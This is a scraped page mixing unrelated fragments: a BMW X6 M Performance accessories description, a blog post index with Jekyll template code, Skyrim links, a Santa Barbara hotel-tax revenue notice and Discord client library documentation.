Moving on, there are those 22-inch light alloys and red M Performance brake calipers; a jump in stopping power for sure. Along the side, there's also a sticker running near the door sills with the M Performance logo, plus a carbon fiber trim for the skirts. The rear gets the most obvious goodies, thanks to a carbon fiber diffuser and a carbon fiber lip spoiler that's slightly bigger than the standard one. A nice touch, too, are the black badges in the rear, and the blacked-out exhaust finishers. Inside, the steering wheel gets carbon fiber inserts and an M Performance inscription to match the alcantara and double stitching. Then there's the carbon fiber pack for things like the door panels and the center console. Not too over the top at all, and it's a very subtle way to add more visual appeal to the already head-turning X6.
Source: BMW Blog via YouTube


Why Won't My SQLAlchemy Frontend Connect to My PostgreSQL backend? Posted on 5/25/21 Before you can do anything, you must first learn how to talk to a database [Read More]
Blue Gold Posted on 3/7/21 Can you predict water availability in Italy? No, really, can you? I'm asking for a friend [Read More]
Guess the QB! Posted on 11/22/19 Who here doesn't have fond memories of sitting with friends, looking up random statistics, and trying to guess the player who put up those numbers? Ah, to be young again... [Read More]
Interceptions and the NFL Posted on 10/24/19 In a sense, gridiron football is just a fancy version of keep-away — and interceptions are when that game goes awry. [Read More]
{{ post.title }} {% if post.subtitle %} {{ post.subtitle }} {% endif %} Posted on {{ post.date | date: site.date_format }} {% if post.image %} {% endif %} {{ post.excerpt | strip_html | xml_escape | truncatewords: site.excerpt_length }} {% assign excerpt_word_count = post.excerpt | number_of_words %} {% if post.content != post.excerpt or excerpt_word_count > site.excerpt_length %} [Read More] {% endif %} {% if post.tags.size > 0 %} Tags: {% if site.link-tags %} {% for tag in post.tags %} {{- tag -}} {% endfor %} {% else %} {{ post.tags | join: ", " }} {% endif %} {% endif %}


- Total Video Games
Bethesda Softworks Official Website
Bethesda Softworks' Official The Elder Scrolls V: Skyrim Legendary Edition Page
Official Steam The Elder Scrolls V: Skyrim Legendary Edition Page
The Elder Scrolls V: Skyrim Official Page


--- title: Knowledge Base slug: knowledge layout: blank needsFA: true --- Knowledge Base Find tools, software, and services for your static site. Search Providers Hosting Linting & Spell Checking Markup Validation & Link Checking (Headless) Content Management Editors & IDEs


October Transient Occupancy Tax Results
Source: City of Santa Barbara
The City of Santa Barbara collected approximately $1.76 million in transient occupancy taxes (TOT) for October 2019, which is 8.1% above September of last year.
Through October 31, the City has collected approximately $8.5 million in TOT revenues for fiscal year 2020, which runs from July 1 through June 30. The City’s adopted TOT budget is $19,989,179.
The Transient Occupancy Tax table can be viewed here.


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Returns a DiscordClient instance.
new DiscordClient(options: {...args})
options
Options supplied to the client. This should be an object of arguments
{...args}
Possible arguments;
token: string
- A Discord Bot Tokentoken
argument must be supplied as part of the options and must have a value
with type string, corresponding with a valid Discord API Bot Token
A new DiscordClient instance.
This instance servers as the entry point for this module and most interactions will occur through it. Whilst it is
possible to run multiple instances at once with separate tokens
within the same code, it is discouraged
due to potentially running into resource (such as memory) issues. This is, however, down to the developer to decide and
depends on the scope of the intended project.
| Connecting to Discord |
|